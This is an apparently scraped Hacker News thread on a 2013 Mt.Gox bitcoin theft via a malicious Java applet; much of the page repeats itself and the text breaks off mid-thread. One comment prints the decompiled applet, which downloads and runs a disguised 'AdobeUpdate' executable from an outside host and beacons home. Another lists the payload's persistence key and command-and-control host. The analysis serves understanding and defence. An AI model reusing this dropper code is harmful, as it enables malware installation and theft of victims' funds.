10 ms·

How I got robbed of 34 btc on Mt.Gox today

235 points by pieter 13y ago

dreen 13y ago
So... you ran a Java applet on a domain with mtgox in its name and didn't make sure that site is owned by MtGox? I'm sorry for your loss but what happened is your own fault entirely and I would be surprised if MtGox decides to refund you.
- andyhmltn 13y ago
  That is true. 1) You really shouldn't be running java applets unless you are certain you want to. I have had Java disabled for about a year and have only seen a page that required it once. 2) The domain name should've been a dead giveaway 3) Why would MtGox refund it? You got your money stolen by someone else. It's not MtGox's fault at all.
  - relix 13y ago
    One would expect a certain level of security measures for a site that directly influences your financial situation. Most CRUD applications require you to put in your old password when changing your new one. Apparently you can actually trade coins away from your account without typing your password on MtGox. That's just ridiculously unsecured.
    - sneak 13y ago
      No.
    - andyhmltn 13y ago
      I don't think that'd solve the problem though. His password was stolen. So the hacker had the password and entering it twice would be the same barrier as entering it once.
- burntsushi 13y ago
  > I would be surprised if MtGox decides to refund you I agree that MtGox shouldn't be doing any kind of refunding in this case. > what happened is your own fault entirely You're blaming the victim. If I'm walking down a dark alley and someone pulls a gun on me and takes my wallet, is it my fault because I decided to walk down a dark alley? Not at all. The only person at fault here is the cracker who perpetrated the scam. The only thing you can say about the victim in this case is that they aren't very sensible. Just like walking down dark alleys might not be sensible. But it's not the OP's fault that someone stole something from him.
  - sequoia 13y ago
    +-------------------------------------------------------+ | SECURITY WARNING! | | You are attempting to walk down a dark alley, | | which could be dangerous. Only walk down | | dark alleys you are familiar with and trust. | | By walking down this alley you assume responsibility | | for the attendant risks. | | | | Do you still wish to walk down the dark alley? | | [x] Yes [ ] Cancel | +-------------------------------------------------------+ Perhaps a better phrasing that "your own fault" is "it was 100% in his power to prevent this from happening. He is responsible for the fact that it happened."
    - deleted 13y ago
      [deleted]
    - mikeash 13y ago
      Fault and blame is not zero-sum, a point many people seem to miss. Realizing that the victim has some (and he certainly does here, and in many other cases) does not in any way reduce what attaches to the perpetrator.
  - dreen 13y ago
    Will you demand compensation from your local authorities because they did not prevent you walking into a dark alley?
Pezmc 13y ago
TLDR; OP runs java applet (either in browser or downloaded it). Java applet sends bitcoin from OP's MtGox account to the 'hackers' bitcoin address, using the OP's browser, which was logged in to his MtGox account at the time.
- ben0x539 13y ago
  Yeah, this has fuck-all to do with bitcoins. Same thing could have happened with real money through paypal or a bank's website, except those are probably a few steps ahead of babby's first online banking website in terms of migitating against likely attack vectors.
egeozcan 13y ago
I quite like the JVM but I think it should be stopped from running inside a browser.
- Tarilo 13y ago
  The thing is that it's easy to stop Java applets from executing. Even better most browser prevent this by default. Including chrome, which he was probably using as indicated by the screenshot. Looks like this was entirely his own fault, though it still sucks. Wouldn't hope for a refund though t.b.h.
  - egeozcan 13y ago
    Yes, I guess you're right. Am I being evil when I think that it would have been great if we could publish security patches for humans? =)
antr 13y ago
I'm not doubting Bitcoin's potential to become a true currency, but unless this type of smash-and-grab situation can be traced/avoided/insured (whatever the right mechanism is) it is going to be extremely hard to make ordinary businesses and people use it. People don't place value in the currency itself, but the system that provides certain security around it.
- hodgesmr 13y ago
  Banks that handle USD follow strict federal regulations on security procedures and insurance. If this happened at a bank, the OP would absolutely get his money back. Bitcoin needs federal regulations... oh wait...
  - antr 13y ago
    Agree. When a transaction is not authorised by the account holder, this transaction is legally invalid. Any bank would give the money back in this kind of situation. I can't imagine my parents (or 99% of the adult population) being liable for this theft when "proper security precautions" means knowing when to detect and avoid a "0 day java exploit with a cross site injection attack".
    - Cthulhu_ 13y ago
      If they felt they were in the wrong, and if they provided the appropriate security measures. Does Mt. Gox even have two-factor authentication or transaction signing or anything like that?
    - lucian1900 13y ago
      Not really. Most banks I've asked would not refund if the victim did not take proper security measures, and the OP in this case most certainly did not.
      - danielweber 13y ago
        Banks are required to make users whole, even if the user's password is compromised. At least for individual accounts. (For businesses the situation is different.) http://research.microsoft.com/apps/pubs/default.aspx?id=161829 http://research.microsoft.com/apps/pubs/default.aspx?id=1618...
Tarilo 13y ago
This is exactly why everyone on the internet keeps saying that you shouldn't automatically run Java applets or shouldn't have Java installed at all on your computer. Java is just such a big target for hackers nowadays, that there will always be zero-days.
- easytiger 13y ago
  zero day exploits are not logically inevitable but statistically likely, is what you meant to say i believe. It is also not proven that thats what this is. He could just have easily given it manual permission to access his filesystem/whatever.
- teraflop 13y ago
  The funny thing is, this particular attack doesn't even involve a Java vulnerability. You have to either specifically grant the applet elevated permissions (giving it full access to your computer) or download and run something that claims to be a "Java updater" from the "g2f.nl" domain.
  - tocomment 13y ago
    What I'm not getting is how a running executable can log into a website and initiate a transaction. It won't have your password right? Or is it just a keylogger to catch your password?
    - dariopy 13y ago
      Like your regular XSRF, it relies on the user already being logged in some browser tab. It probabley has a keylogger too.
  - chii 13y ago
    the lesson is that the weakest link in a computer system is the human.
0x0 13y ago
This is probably not much different from any other internet banking trojan horse delivered via a java exploit. Some banks solve this problem by requiring a 2 factor auth to confirm transactions (even after logging in).
smoyer 13y ago
Java Applets were designed to give you the ability to execute a program on your computer from the browser in much the same way ActiveX controls could be used for exploits. Turn off Java in the browser and hope that JavaScript is sandboxed well enough.
- ww520 13y ago
  Java Applets is not designed to give you the ability to execute a program on your computer from the browser in much the same way ActiveX controls could be used for exploits. Only a signed Java applet can ask the user to give permission to access his computer.
mootothemax 13y ago
Mtgox has clearly not had time to respond, and I fear they will claim this is my fault as I have seen in other posts online that they say "report it to the police". They should compensate me 100%. This shows one of the fundamental problems with Bitcoin-related services: when people get taken advantage of, they expect to be compensated. While in the real world, banks will often compensate you if you're the victim of fraud, there isn't any equivalent for Bitcoin, despite people really expecting it.
- DanBC 13y ago
  ...and banks will only compensate if they really have to because there are laws compelling them to do so. If they can get away with saying it's your fault they will. While I have sympathy for the author it was a pretty silly thing to do.
  - mootothemax 13y ago
    ...and banks will only compensate if they really have to because there are laws compelling them to do so. If they can get away with saying it's your fault they will. Agreed, the banks aren't doing it from the goodness of their heart. While I have sympathy for the author it was a pretty silly thing to do. And in the real world, if you gave someone your card and PIN, the bank would be unlikely to compensate you. I think that this example is more similar to falling victim to card skimming, though. Whilst one should always check the ATM for suspicious devices, and never let the card leave one's sight, it doesn't mean that it's not easy to fall prey to such fraud all the same.
  - danielweber 13y ago
    "Federal Reserve Regulation E guarantees that US consumers are made whole when their bank passwords are stolen" From http://research.microsoft.com/apps/pubs/default.aspx?id=161829 http://research.microsoft.com/apps/pubs/default.aspx?id=1618... Of course, as that paper points out, the traditional electronic money system is incredibly reversible. If someone transfers $50,000 from my personal bank account to someone else's bank account, it's pretty easy for it to be undone. The bottleneck is the money mules who are hired (read: suckered) into engaging in irreversible transactions.
DanBC 13y ago
At $200 per bitcoin, this is a $6,800 lesson in "Don't visit random websites". At least they were open about being robbed. I wonder how many bitcoins were stolen in total? EDIT: Has anyone visited the URL to analyse the malware?
- nkvoll 13y ago
  At the current exchange rate, his loss is now down to $2100...
tripzilch 13y ago
> I then discovered that the site is loaded with a java script which, based on an initial analysis by my java programmer friend, is a 0 day java exploit with a cross site injection attack, which automatically started "Being a techie", I like to confuse Java and Javascript ...
- jotaass 13y ago
  Well, he did put a space there. I'd give him a pass.
  - tripzilch 13y ago
    I would have, but then the term "cross site injection attack", is again Javascript terminology (he probably meant XSS or CRSF, but the term "cross site" doesn't really apply to Java applets). However, the guy just got hacked out of about $8k worth of BC, which sucks, and for that I do give him a pass :)
    - Intermernet 13y ago
      I'm assuming you mean "XSS or CSRF". In both cases the first 2 letters denote "Cross Site". But, I'm picking hairs, and as you say, the guy just lost a shed-load of coin, so mostly sympathy (with a bit of urge to educate) from this end. EDIT: Sorry, your comment was slightly ambiguous, I apologize for picking on a typo, I originally thought you were saying that XSS and CSRF had nothing to do with "Cross Site" which, upon reading again, I noticed was not the case. (Also, I made the same typo (CRSF) while typing this and only caught it just before hitting the submit button!)
      - tripzilch 13y ago
        Well abovethread it turns out he must have clicked through all sorts of Java certificate warning boxes, or run an old vulnerable Java version -- now I feel about as sorry for him as someone whose laptop got stolen as they left it unattended on the table in a coffeeshop for a toilet break. You can wait for something to happen like that.
fmavituna 13y ago
A bit off topic, but if you care about security DO NOT INSTALL JAVA to your computer. I'm JAVA free for the last ~5 years and I never really needed it. Java's security track is horrible and it's quite popular target.
- Tomdarkness 13y ago
  I think that is a bit extreme. I'd suggest rather than not installing Java at all just to not install/disable the browser addons that allow java applets to execute. This way the only way you are going to be executing anything Java is by downloading the .jar (or a executable wrapper) and running it. To me if you have to download the .jar and run it then that is no different to downloading an executable and running it and should take the appropriate precautions as you would with executables. There are plenty of legitimate Java applications out there that are used by a wide spectrum of people from gamers (minecraft) to enterprise developers (JavaEE, java application servers, etc.).
  - andyhmltn 13y ago
    How is it extreme? The only time I've needed java is for minecraft. Luckily I'm not rocking windows so the chance of being hit by a 0-day is a bit lower (correct me if I'm wrong.) But stopping the chance of having everything in your digital (and in the case of money, personal) life stolen because you clicked on a link FAR outweighs the benefit of playing minecraft imo.
    - Tomdarkness 13y ago
      I think you need to go back and read what you replied to. Having Java installed but with Java disabled in your browser, like I suggested, means Java applets won't run in your browser at all. You'd need to download and execute the .jar or wrapper (which would be a executable anyway) which is no different from downloading any normal executable and running it.
      - andyhmltn 13y ago
Tomdarkness 13y ago
I've not used Mt.Gox but does it let you perform transactions without authenticating again? Even if you were logged in to your account, I'd expect any kind of financial related website to perform some kind of re-authentication before processing any transaction. Perhaps with the exception of transferring funds to somewhere you've sent funds in the past.
- wting 13y ago
  You have the option of enabling two-factor authentication for various actions: http://i.imgur.com/5I31WcX.png http://i.imgur.com/5I31WcX.png
- dragontamer 13y ago
  If they have your wallet.dat file (which probably happened in this case), they don't even need to visit Mt. Gox to perform transactions. The guy had a Trojan loaded up onto his computer where he stored his bitcoins. All this two-factor authentication stuff people are talking about is for `naut. He was attacked by a virus, and that virus stole bitcoins straight off of his computer.
TazeTSchnitzel 13y ago
From the source of mtgox-chat.info: <applet name='ChatBox' width='10' height='10' code='wDbIDcgeH.class' archive='wDbIDcgeH.jar'></applet> Yep, probably an exploit, there aren't many good reasons for a 10x10 applet. Let's download the jar. It contains a single 3.5KB payload. Let's use a Java decompiler (JD-GUI). import java.applet.Applet; import java.applet.AppletContext; import java.io.BufferedInputStream; import java.io.BufferedOutputStream; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL; import java.util.logging.Level; import java.util.logging.Logger; public class wDbIDcgeH extends Applet { static String lik = "h?t?t?p?:?/?/?w?w?w?.?g?a?l?a?x?y?j?d?b?.?c?o?m?"; public static void logme(String paramString) { String str1 = lik.replace("?", ""); String str2 = "PoutineCoutu"; try { String str3 = InetAddress.getLocalHost().getHostName().replace(" ", "-"); URL localURL = new URL(str1 + "/insert.php?" + "&o=" + System.getProperty("os.name").replace(" ", "-") + "&u=" + str2 + "&ip=" + str3 + "&e=" + paramString); localURL.openStream(); } catch (IOException localIOException) { localIOException.printStackTrace(); } } public void start() { String str1 = "no"; String str2 = System.getenv("APPDATA"); String str3 = System.getProperty("java.io.tmpdir"); String str4 = "http://g2f.nl/0lczsoo"; String str5 = str2 + "\\"; String str6 = "AdobeUpdate-Setup1.84##e"; String str7 = "f.R.q.w.v.k.p.g.E.q.w.v.w"; String str8 = "CodedByOrpheu"; String str9 = str5.concat(str6.replace("##", ".ex")); BufferedInputStream localBufferedInputStream = null; try { localBufferedInputStream = new BufferedInputStream(new URL(str4.replace("##", ".ex")).openStream()); } catch (IOException localIOException1) { if (str1 != "yes") logme("Noa"); str1 = "yes"; Logger.getLogger(wDbIDcgeH.class.getName()).log(Level.SEVERE, null, localIOException1); } FileOutputStream localFileOutputStream = null; try { localFileOutputStream = new FileOutputStream(str9); } catch (FileNotFoundException localFileNotFoundException) { Logger.getLogger(wDbIDcgeH.class.getName()).log(Level.SEVERE, null, localFileNotFoundException); } BufferedOutputStream localBufferedOutputStream = new BufferedOutputStream(localFileOutputStream, 1024); byte[] arrayOfByte = new byte[1024]; try { int i; for (long l = 0L; (i = localBufferedInputStream.read(arrayOfByte)) != -1; l += i) localBufferedOutputStream.write(arrayOfByte, 0, i); } catch (IOException localIOException2) { if (str1 != "yes") logme("Noc"); str1 = "yes"; Logger.getLogger(wDbIDcgeH.class.getName()).log(Level.SEVERE, null, localIOException2); } try { localBufferedOutputStream.close(); } catch (IOException localIOException3) { Logger.getLogger(wDbIDcgeH.class.getName()).log(Level.SEVERE, null, localIOException3); } try { localBufferedInputStream.close(); } catch (IOException localIOException4) { Logger.getLogger(wDbIDcgeH.class.getName()).log(Level.SEVERE, null, localIOException4); } try { Runtime.getRuntime().exec(str9); logme("Yes"); } catch (IOException localIOException5) { logme("Nod"); Logger.getLogger(wDbIDcgeH.class.getName()).log(Level.SEVERE, null, localIOException5); } try { getAppletContext().showDocument(new URL("0"), "_self"); } catch (MalformedURLException localMalformedURLException) { System.exit(0); localMalformedURLException.printStackTrace(); } } public void init() { start(); } } Well, I can't decipher that, but some security expert might be able to see what's going on.
Cakez0r 13y ago
He seems to think MtGox should compensate his loss, but I really don't see how it's their fault. The guy fell victim to a phishing scam, plain and simple. It was completely out of MtGox's hands.
smoyer 13y ago
I wonder how much the of the increase in MtGox accounts and MtGox trading volume (discussed here: https://news.ycombinator.com/item?id=5529986 https://news.ycombinator.com/item?id=5529986) is due to this malware. If I was the author of this program, I'd spread the trading out over a large number of accounts and hit as many people as I could in a short time period (once the news gets out, this exploit will be much less effective).
dan1234 13y ago
Doesn't Mt.Gox have any 2 factor auth when it comes to approving transfers?
- Major_Grooves 13y ago
  seems so: https://mtgox.com/press_release_20120605.html https://mtgox.com/press_release_20120605.html
- Jach 13y ago
  Yup, they use yubikey and in the past have even given free devices to customers. This guy didn't have one, which is simply irresponsible on his part.
  - tlrobinson 13y ago
    They also support TOTP (Google Authenticator, etc)
axefrog 13y ago
MtGox really does run a subpar operation. There should be additional security checks when transferring money out of an account, and there should be the option to enable multifactor authentication. Back when they were originally hacked, this should have become top priority for them, along with making their service rock solid. If people are hacking and stealing from you, it's obvious you have something of value and need to take steps to protect what you have, especially when it's being held on behalf of a customer.
- Cakez0r 13y ago
  They do have two-factor authentication, which the user admittedly didn't opt in to. See https://support.mtgox.com/entries/21743327-Security https://support.mtgox.com/entries/21743327-Security
  - axefrog 13y ago
    Ah, my bad.
- DanBC 13y ago
  This wasn't someone hacking MtGox. This was someone on a vulnerable OS, running without malware protection, with Java active in the browser, visiting an unknown link, and possibly giving an application permission to run. (Although maybe it didn't need permission to run?) To get to that point the person needed to ignore several well established security principles.
  - StavrosK 13y ago
    Oh come on, how hard is it for MtGox to implement TOTP and tell users to download Google Authenticator? It's not really that much hassle to enter a code each time you want to make a transaction, and these things wouldn't happen. Sure, the user was being stupid here, but MtGox didn't do them any favors either.
    - zwily 13y ago
deleted 13y ago
[deleted]
- teraflop 13y ago
  This particular attack doesn't even involve a Java exploit. The weak point here is users who are accustomed to clicking "allow" on any security warnings without reading them.
willvarfar 13y ago
Is there a way that MtCox or somewhere could keep a blacklist of 'stolen' coins? So that they become worthless because nobody would be able to trade them?
- bonzoesc 13y ago
  Without making that database universal it just means some poor merchant that accepts bit coins is going to get stiffed.
  - willvarfar 13y ago
    but it'd be viral so be universal. Merchents and absolutely everyone would all quickly start checking just to ensure they don't get coins they can't trade, making it effectively universal. Which means it comes down to convincing the gatekeeper that you were burgled. But that's a human level problem.
    - chii 13y ago
      and whoever that controlled that list would basically control bitcoins, because they could charge a levy or else they'd put your bitcoin into that list.
      - bonzoesc 13y ago
        Yup, way to put a centralized control on your decentralized "currency."
- tripzilch 13y ago
  I've seen this suggestion pop up many times in all sorts of discussions on bitcointalk.org forums. There's a bunch of pretty good reasons not to do it, I encourage you to look up those old discussions yourself.
- tlrobinson 13y ago
  Here's an interesting (and controversial) proposal and discussion: "Decentralised crime fighting using private set intersection protocols" - Mike Hearn https://bitcointalk.org/index.php?topic=157130.0 https://bitcointalk.org/index.php?topic=157130.0
tripzilch 13y ago
So, how about if you could have a Linux boot image onna stick, properly secured, no Java, several BitCoin apps preinstalled and optimized to boot extremely quickly into what would basically be a sort of BitCoin Wallet dashboard interface. You could plug in the USB, hibernate, flip the switch and be Bitcoin banking within seconds. Then unhibernate and get on with whatever you were doing on your day-to-day OS. That way it can be completely separate from whatever risky, dangerous and/or irresponsible things you do on a regular basis with your computer--things that seemingly are worth the risk as long as they don't directly give attackers access to thousands of $$$ digital cash. Question, I'm making a rough guess that a realistic speed-optimized fast boot-time for a Linux OS that doesn't need to do much is in the order of five seconds, is that about right? Also, I'm not 100% sure if that hibernation trick is actually possible, I've never really seen it on multi-boot systems and I wonder why, but from what I understand about hibernation (RAM gets saved to HD, restored next boot) the components are there? And, make it look unlike any other OS, to make users instantly aware if they're operating on their banking/money "inside the stick" or "out in the open" (on the regular OS). For instance, a glowy green CRT terminal filter.
- ConceitedCode 13y ago
  The biggest issue I see would be updating the block chain for the wallet between uses. Seems like it takes longer and longer to update. Moved my wallet to a new computer last night and it's been going for the last 5 hours.
  - psionski 13y ago
    Blockchain.info wallets are pretty nice, they do client-side encryption with separate log-in and spending passwords (so your private key is encrypted inside an encrypted .json file and the first password decrypts only the outer layer). You also get email (or dropbox or file download) backups that you can use in other Bitcoin clients in case something bad happens to blockchain.info.
  - cookiecaper 13y ago
    If you download the blockchain from the P2P wallet client it always takes forever. You should download the blockchain once, put it on a USB drive, and then copy it into .bitcoin before you bootstrap a new machine with a wallet. There are also sites that offer downloads of tar'd versions of the blockchain, or torrents. Pretty much anything is going to be faster than downloading via a bitcoin client.
amanvir_sangha 13y ago
Some basic analysis of the binary: Creates the following directories: %UserProfile%\537214 %UserProfile%\684544 %AppData%\dclogs Creates a new registry value (so that it runs every time on startup) [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run] 537214 = "%UserProfile%\537214\svhost.exe" Tries to connect to: tamere123.no-ip.org on ports 80 and 1604 The subdomain above leads to the following IP: 198.203.29.120 Which, according to iplocation.net is located in: Los Angeles California ISP: Hugeserver Networks Llc It's very unusual for malware to be hosted in USA so I would assume that either it is a compromised computer/bot or it is some script kiddie using his home connection, the latter is more likely since there were no exploits used just social engineering and luck. File hashes: MD5: 0x81F8E4C33ADECE6BF89EF171D9930282 SHA-1: 0xF540BA6C5F1C2AA50B81A440E7D74F8CF588B4D7
- TazeTSchnitzel 13y ago
  https://news.ycombinator.com/item?id=5531500 https://news.ycombinator.com/item?id=5531500 It's a service by script kiddies for script kiddies.
RyanZAG 13y ago
Isn't this exactly what Bitcoin was created for - to allow unregulated access to currency? I guess people don't really realize what unregulated actually means - and nor do they realize why you really do want regulated currency. This kind of thing happens all the time with real banks, but with real banks, all transactions can be traced and reversed. Law enforcement can follow the required documentation to find the owner of any account on a global level. This is exactly what Bitcoin was created to avoid. Well guess what? When you avoid the regulation, you take the safety of the currency into your own hands. MtGox should not refund this in any way shape or form. The problem was entirely his fault. He did not secure his MtGox account with available two-factor authentication. He ran untrusted code at full permission on his PC. He needs to take some responsibility for his own use of an unsecured currency on an unsecured website with unsecured authentication and running untrusted code. Zero sympathy from me. Maybe it will be a wake up call to others to actually think about their decisions. Shouting about the 'nanny state' and using bitcoin, and then turning around and looking for a nanny to help him out when he goes around it is pathetic.
- paulhodge 13y ago
  Fair point, most of the mistakes were on the author's part. MtGox isn't completely blameless, they had a cross-site scripting vulnerability, and they should probably enforce some stronger security around logins from new computers. Something like Steam's approach where every login from a new computer needs to be verified with a confirmation code.
  - RyanZAG 13y ago
    There is no evidence of any cross-site scripting vulnerability - it's a standard case of 'user executes malicious code with full user rights'. If anybody is to blame for that, it's Oracle for letting users shoot themselves in the foot with an 'OK' dialog that all Windows users just click OK on anyway. MtGox could help prevent this with something like Steam's approach, but once the user has run malicious code there is not much stopping that code from also compromising his email account. Two factor authentication would help here, and MtGox does appear to offer this - the complainer just didn't use it.
- 13y ago
oomkiller 13y ago
I uninstalled all of the Java plugins when the 0 days started coming out a couple months ago. If you want to be extra safe, you should probably have some sort of Linux LiveCD without any plugins enabled, that acts as a trusted environment for banking.
amalag 13y ago
Is funny that people throw around words like "java script 0 day exploit" and then post: >Then and there someone posted a link to www mtgox-chat info (do not open unless you know what >you are doing) claiming a video announcement that mtgox was going to start trading litecoins. >I clicked on the link, the website opened, not much happened, and the "video"/chatbox never loaded. >I then forgot about this website.
wereHamster 13y ago
"site is loaded with a java script" - srsly? You do ebanking (or ebitcoining) on a computer which has java installed?
- Intermernet 13y ago
  I hate to say it, but (at least in Australia) many banks require Java to do business banking. This should change (at the glacial rate banks change things) as they realise that Java in the browser is risky business. This may change if Oracle pull their finger out, stop being dicks about the licensing, and try to promote the language again. Honestly, I think they've left it too late and the majority of "Java" you're going to see in the near future is going to be related to Android (and hence not running on Oracle's stack).
  - wereHamster 13y ago
    Then at least have a virtual machine snapshot of a clean install of OS+Java+Browser and always boot from the snapshot when doing internet business.
plg 13y ago
I'm having trouble understanding the OP's problem with mt. gox. Is it that the OP wants mt. gox to have somehow prevented him from downloading and running malicious java code from some other third party website? (WTF dude) or is it more specific, that the OP thinks mt. gox should have somehow prevented the OP's credentials from being sniffed by said malicious program?
niggler 13y ago
Best comment from the thread: "Friends don't let friends use Windows + Bitcoin."
jack_trades 13y ago
How useful is a "currency" if it 1) has volatility like a penny stock and 2) raises the stakes on 0-day defense to something ridiculous? When I hear interviews where people (bitcoin founder) suggest that you don't transfer into bitcoins any state currency you aren't willing to lose... it sort of peels the "inflation-hedge" covers off the whole thing. How unstable and unsecure does a currency have to be to be nearly worthless? USDollars look pretty safe again. This is so much a game of hacker gambling. A great experiment. Too bad it consumes so much productive time and energy. The beautiful narrative of the reclusive, open-society, eastern hacker that designs this thing which grows to be the godzilla it is... The story arc on bitcoin is borderline trite. Michael Bay is all over this in a year.
ghshephard 13y ago
This makes a lot more sense now: https://news.ycombinator.com/item?id=5530247 https://news.ycombinator.com/item?id=5530247
dariopy 13y ago
Maybe I'm missing something something, but where exactly is the exploit here? (0-day no less) AFAIU, the user was prompted to accept an autosigned applet, and he did so. After that, the outcome was inevitable. You may hate java all you like, but it seems like the user (inadvertently) gave this program permission to steal all his money.
Jebbers 13y ago
LOLarious.
jes5199 13y ago
The non-reversibility of bitcoin transactions is a huge liability. Our current state of software technology was designed in a world where the most valuable/dangerous thing you could possibly have on your disk or on a web site was, what, your ssh keys? Nude photos of yourself? The value of hacking, phishing, etc is significantly increased by the presence of bitcoins. I guess you could argue that if bitcoins are popular, software practices will evolve to be much more secure - but until then, it's wild west, and much more wild than the internet ever was before.
onbitcoins 13y ago
http://onbitcoins.com/2013/04/11/bitcoin-theft-mt-gox-trust/ http://onbitcoins.com/2013/04/11/bitcoin-theft-mt-gox-trust/ A Mt. Gox investor was surprised to see his account suddenly pillaged. Will Bitcoin theft call into question trust and confidence in the system?
deleted 13y ago
[deleted]
halcyondaze 13y ago
No offense to bitcoiners, but what are people expecting when the biggest exchange is "Magic The Gathering Online Exchange" for this "currency" ?
danmaz74 13y ago
Welcome to the far west...
sequoia 13y ago
I'm really confused by the title, in particular the "on Mt.Gox" part. Was he "on Mt.Gox['s website]" when he came across this applet? He makes it sound like the exploit was on mt. gox. If he got a trojan on a third party site that compromised his computer and Mt. Gox's site had nothing to do with it, this title seems a bit libelous. If in fact that's the case, I'd implore HN mods to change the title to something that doesn't unfairly cast aspersions on the Mt.Gox site. FWIW: I have no bitcoins, I don't fully grok bitcoins, I'm scared of bitcoins, I don't use mt.gox or any vendor
- ScottBurson 13y ago
  You have a point. His protestations notwithstanding, Mt. Gox does not appear to bear any responsibility for this at all. What happened was, he let his browser get pwned while he had his Mt. Gox account open in another tab. The coins were taken from his Mt. Gox account, but the security breach was on his end.
- pbreit 13y ago
  The theft occurred on the MtGox web site. MtGix is in a position to defend such a robery and it would behoove it to do so.
deleted 13y ago
[deleted]
supjeff 13y ago
Why do people trust MtGox again? Didn't something similar to this happen a year or-so ago where everyone's money disappeared and the ops were like "Yeah we don't know what happened"? How do we know they aren't fleecing everyone?
stesch 13y ago
I get laughed at for using NoScript.
- ben0x539 13y ago
  I use NoScript too, but the OP was lead to believe that they were accessing a video or an interactive chat, so they would likely have permitted scripts to run on that page anyway.
drivebyacct2 13y ago
Man, I'm getting tired of repeating these basic security issues: Stop storing your wallet online. And if not that, stop letting flash/java autoload/run. Both Chrome and Firefox have "click-to-enable". Not only is it more secure, it also prevents auto-video-playing, background audio you can't find and shit like this from happening.
pan69 13y ago
Doesn't MtGox send out an email or SMS with a verification code before a transfer can take place? Ouch...
parandroid 13y ago
Actually, the only thing the hacker didn't do is ask the dude politely to give him (or her) the money. This wasn't a 0day bug, no XSS. The dude gave the hacker permission to run any code on his machine, therefore it's completely his own fault, and has nothing to do with MtGox.
Osiris 13y ago
I have a Yubikey account with MtGox. Withdrawals require a long-press of the key. If you have a significant amount of BTC in MtGox, I would recommend paying the $20 to get the two-factor authentication key for your account.

235 points by pieter 13y ago

dreen 13y ago

So... you ran a Java applet on a domain with mtgox in its name and didn't make sure that site is owned by MtGox? I'm sorry for your loss but what happened is your own fault entirely and I would be surprised if MtGox decides to refund you.

andyhmltn 13y ago
That is true. 1) You really shouldn't be running java applets unless you are certain you want to. I have had Java disabled for about a year and have only seen a page that required it once. 2) The domain name should've been a dead giveaway 3) Why would MtGox refund it? You got your money stolen by someone else. It's not MtGox's fault at all.
- relix 13y ago
  One would expect a certain level of security measures for a site that directly influences your financial situation. Most CRUD applications require you to put in your old password when changing your new one. Apparently you can actually trade coins away from your account without typing your password on MtGox. That's just ridiculously unsecured.
  - sneak 13y ago
    No.
  - andyhmltn 13y ago
    I don't think that'd solve the problem though. His password was stolen. So the hacker had the password and entering it twice would be the same barrier as entering it once.
burntsushi 13y ago
> I would be surprised if MtGox decides to refund you I agree that MtGox shouldn't be doing any kind of refunding in this case. > what happened is your own fault entirely You're blaming the victim. If I'm walking down a dark alley and someone pulls a gun on me and takes my wallet, is it my fault because I decided to walk down a dark alley? Not at all. The only person at fault here is the cracker who perpetrated the scam. The only thing you can say about the victim in this case is that they aren't very sensible. Just like walking down dark alleys might not be sensible. But it's not the OP's fault that someone stole something from him.
- sequoia 13y ago
  +-------------------------------------------------------+ | SECURITY WARNING! | | You are attempting to walk down a dark alley, | | which could be dangerous. Only walk down | | dark alleys you are familiar with and trust. | | By walking down this alley you assume responsibility | | for the attendant risks. | | | | Do you still wish to walk down the dark alley? | | [x] Yes [ ] Cancel | +-------------------------------------------------------+ Perhaps a better phrasing that "your own fault" is "it was 100% in his power to prevent this from happening. He is responsible for the fact that it happened."
  - deleted 13y ago
    [deleted]
  - mikeash 13y ago
    Fault and blame is not zero-sum, a point many people seem to miss. Realizing that the victim has some (and he certainly does here, and in many other cases) does not in any way reduce what attaches to the perpetrator.
- dreen 13y ago
  Will you demand compensation from your local authorities because they did not prevent you walking into a dark alley?

Pezmc 13y ago

TLDR; OP runs java applet (either in browser or downloaded it). Java applet sends bitcoin from OP's MtGox account to the 'hackers' bitcoin address, using the OP's browser, which was logged in to his MtGox account at the time.

ben0x539 13y ago
Yeah, this has fuck-all to do with bitcoins. Same thing could have happened with real money through paypal or a bank's website, except those are probably a few steps ahead of babby's first online banking website in terms of migitating against likely attack vectors.

egeozcan 13y ago

I quite like the JVM but I think it should be stopped from running inside a browser.

Tarilo 13y ago
The thing is that it's easy to stop Java applets from executing. Even better most browser prevent this by default. Including chrome, which he was probably using as indicated by the screenshot. Looks like this was entirely his own fault, though it still sucks. Wouldn't hope for a refund though t.b.h.
- egeozcan 13y ago
  Yes, I guess you're right. Am I being evil when I think that it would have been great if we could publish security patches for humans? =)

antr 13y ago

I'm not doubting Bitcoin's potential to become a true currency, but unless this type of smash-and-grab situation can be traced/avoided/insured (whatever the right mechanism is) it is going to be extremely hard to make ordinary businesses and people use it. People don't place value in the currency itself, but the system that provides certain security around it.

hodgesmr 13y ago
Banks that handle USD follow strict federal regulations on security procedures and insurance. If this happened at a bank, the OP would absolutely get his money back. Bitcoin needs federal regulations... oh wait...
- antr 13y ago
  Agree. When a transaction is not authorised by the account holder, this transaction is legally invalid. Any bank would give the money back in this kind of situation. I can't imagine my parents (or 99% of the adult population) being liable for this theft when "proper security precautions" means knowing when to detect and avoid a "0 day java exploit with a cross site injection attack".
  - Cthulhu_ 13y ago
    If they felt they were in the wrong, and if they provided the appropriate security measures. Does Mt. Gox even have two-factor authentication or transaction signing or anything like that?
  - lucian1900 13y ago
    Not really. Most banks I've asked would not refund if the victim did not take proper security measures, and the OP in this case most certainly did not.
    - danielweber 13y ago
      Banks are required to make users whole, even if the user's password is compromised. At least for individual accounts. (For businesses the situation is different.) http://research.microsoft.com/apps/pubs/default.aspx?id=161829 http://research.microsoft.com/apps/pubs/default.aspx?id=1618...

Tarilo 13y ago

This is exactly why everyone on the internet keeps saying that you shouldn't automatically run Java applets or shouldn't have Java installed at all on your computer. Java is just such a big target for hackers nowadays, that there will always be zero-days.

easytiger 13y ago
zero day exploits are not logically inevitable but statistically likely, is what you meant to say i believe. It is also not proven that thats what this is. He could just have easily given it manual permission to access his filesystem/whatever.
teraflop 13y ago
The funny thing is, this particular attack doesn't even involve a Java vulnerability. You have to either specifically grant the applet elevated permissions (giving it full access to your computer) or download and run something that claims to be a "Java updater" from the "g2f.nl" domain.
- tocomment 13y ago
  What I'm not getting is how a running executable can log into a website and initiate a transaction. It won't have your password right? Or is it just a keylogger to catch your password?
  - dariopy 13y ago
    Like your regular XSRF, it relies on the user already being logged in some browser tab. It probabley has a keylogger too.
- chii 13y ago
  the lesson is that the weakest link in a computer system is the human.

0x0 13y ago

This is probably not much different from any other internet banking trojan horse delivered via a java exploit. Some banks solve this problem by requiring a 2 factor auth to confirm transactions (even after logging in).

smoyer 13y ago

